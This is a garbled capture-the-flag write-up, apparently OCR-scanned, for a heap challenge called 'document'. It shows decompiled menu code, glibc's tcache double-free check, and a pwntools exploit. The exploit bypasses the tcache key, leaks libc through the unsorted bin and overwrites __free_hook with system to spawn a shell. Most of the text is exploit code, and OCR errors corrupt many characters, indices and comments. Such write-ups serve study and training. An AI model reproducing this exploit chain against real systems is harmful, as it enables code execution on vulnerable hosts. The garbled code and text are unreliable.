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puts("1. add a person");

puts("2. show information");

puts("3. edit a document");

puts("4. remove a document");

return puts("Give me vour choice : ");
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unsigned _ int6d delfte()
{
_QWORD *ve; /f/f ST10 8
unsigned int v2; // [rsp+Ch] [rbp-24h]
char buf; /f [rsp+2@h] [rbp-18h]
unsigned _ int64 v4; [/ [rsp+28h] [rbp-8h]

vd = _ readfsquword({@x28u);
puts("Give me your index : ");
read(®, &uf, Sull);

v2 = atoi(&buf);

if { vZ2>=7)

{

}
else if ( gqword _202060[v2] )
{

puts("Out of list™);

vl = qword 202060[v2];
free({void *)*qword_202060[v2]};
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1.
l vZ2 = malloc(BuLL);
3 v3 = malloc(@x86ulLL);
g ——— (|
3 1T v
f {
} puts("Error occured!!!");
) exit(2);
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i
puts{“Are you sure change sex?");
read(8, &buf, Bull);
if { buf == a¥[@] }

puts(“3");
v3 = (_BYTE *)("qword_202068[v1] + 8LL);

if { *v3 == unk—13DET

puts(8al24[2]};
} = >
else
puts({al2d);
*v3 = 16;
}
}

else
{

puts{&al24[4]);
1

puts{“Now change information™);

if ( Nunsigned int)sub_AM@(*qword_202068[v1] + 16LL, 112LL) )
puts({“nothing™};

vZ[1] = 8LL;

else
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for (i=0; i< 7; ++i )

i
if ( !gword_202068[1] )
{
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1. typedef struct tcache_entry
2. {

3. 81 F—AN2 W chunk®/

4. structtcache_entry *next;



5. /* Fktxilldouble free*/
6. structtcache perthread_struct *key;
7. }tcache_entry;
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1. /* Check to see ifit's already in the tcache. */
2. tcache_entry *e = (tcache_entry *) chunk2mem (p);

4. [* This test succeeds on double free. However, we don't 100%

5. trustit (it also matches random payload data ata 1 in

6. 2”<size_t>chance), so verify it's not an unlikely

7. coincidence before aborting. */

8. if (__glibc_unlikely (e->key == tcache)) {

9. tcache_entry *tmp;
10. LIBC_PROBE (memory_tcache_double free, 2, e, tc_idx);
11.  for (tmp = tcache->entries[tc_idx];

12. tmp;

13. tmp = tmp->next)

14, if (tmp ==¢)

15. malloc_printerr ("free(): double free detected in tcache 2");

16.  /* Ifwe get here, it was a coincidence. We've wasted a
17. few cycles, but don't abort. */
18. }

SR, mBERMIiLe->key == tcache RE3L, EiAE# double freeT .
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#0
create('a"™0x8,'a"™0x70)
#1
create('b™0x8,'b™0x70)
#2
create('c™*0x8,'c™*0x70)
#3
create('d™0x8,'d*0x70)
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delete(0)

. #E¥key, W1, %¢d T double freet &
. edit(0,'a™0x70)

. delete(0)
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. delete(1)
. edit(1,'a™0x70)
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. delete(2)
. #&%key, W1, %t T double freefi &
. edit(2,'a™0x70)
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21. delete(2)

22.

23. delete(3)

24. #&key, W1, Seid T double freeti?
25. edit(3,'a™0x70)

26. delete(3)
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1. #HITHIE, BtcacheZiHiF T, IAERXMEUBAunsorted bink
2. delete(1)
3. show(1)
4.
5. sh.recvuntil(\n")
6. main_arena_88 = u64(sh.recvuntil("\n',drop = True).ljust(8,"x00"))
7. malloc_hook_addr = (main_arena_88 & OxFFFFFFFFFFFFFO00O0) + (malloc_hook_s & OxFFF)
8. libc_base = malloc_hook_addr - malloc_hook_s
9. free_hook_addr =libc_base + free_hook_s

10. system_addr = libc_base + system_s

11. print'libc_base=',hex(libc_base)

12. print'free_hook_addr=",hex(free_hook addr)

13. print'system_addr=',hex(system_addr)
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#coding:utf8
from pwn import *

sh = process('./document")

#sh = remote('node3.buuoj.cn',26208)

libc = ELF('/usr/lib/x86_64-1inux-gnu/libc-2.29.s0")
malloc_hook_s = libc.symbols[' malloc_hook']
free_hook_s = libc.symbols['__free_hook"']

system_s = libc.sym['system']

def create(name,content):
sh.sendlineafter('Give me your choice :','1")
sh.sendafter('input name',name)
sh.sendafter('input sex','M")
sh.sendafter('input information',content)

def show(index):
sh.sendlineafter('Give me your choice :','2")



sh.sendlineatter( Give me your 1ndex :',str(index))

def edit(index,content,changeSex = 'Y'):
sh.sendlineafter('Give me your choice :','3")
sh.sendlineafter('Give me your index :',str(index))
#HX—HEREE
sh.sendafter('Are you sure change sex?',changeSex)
sh.sendafter('Now change information',content)

def delete(index):
sh.sendlineafter('Give me your choice :','4")
sh.sendlineafter('Give me your index :',str(index))

#0
create('a'*0x8, 'a'*0x70)
#1
create('b'*0x8, 'b'*0x70)
#2
create('c'*0x8, 'c'*0x70)
#3
create('d'*0x8, 'd'*0x70)

delete(9)

#Ekey, W1, £t Tdouble freefi
edit(@, 'a'*0x79)

delete(9)

delete(1)
edit(1, 'a'*0x79)

delete(2)

#&dkey, WL, 54T Tdouble freel#
edit(2, 'a'*0x79)

delete(2)

delete(3)

#Ekey, W1, %4t Tdouble freelt®E
edit(3, 'a'*ox70)

delete(3)

#EBTRIE, #tcacheREB T, MAEXAHBAunsorted binE
delete(1)
show(1)

sh.recvuntil('\n")

main_arena_88 = u64(sh.recvuntil(‘\n',drop = True).ljust(8, '\x00'))
malloc_hook_addr = (main_arena_88 & OXFFFFFFFFFFFFFOOO) + (malloc_hook_s & OXFFF)
libc_base = malloc_hook_addr - malloc_hook_s

free_hook_addr = libc_base + free_hook_s

system_addr = libc_base + system_s

print 'libc_base="',hex(libc_base)

print 'free_hook_addr="',hex(free_hook_addr)

print 'system_addr=",hex(system_addr)

#¥ifree_hook_addri#Fltcache bin
create(p64(free_hook_addr), 'a'*ex70) #4
create('/bin/sh\xe0', 'a'*0x70) #5
#5free_hook

create(p64(system_addr), 'a'*0x70) #6
#getshell



delete(5)

sh.interactive()
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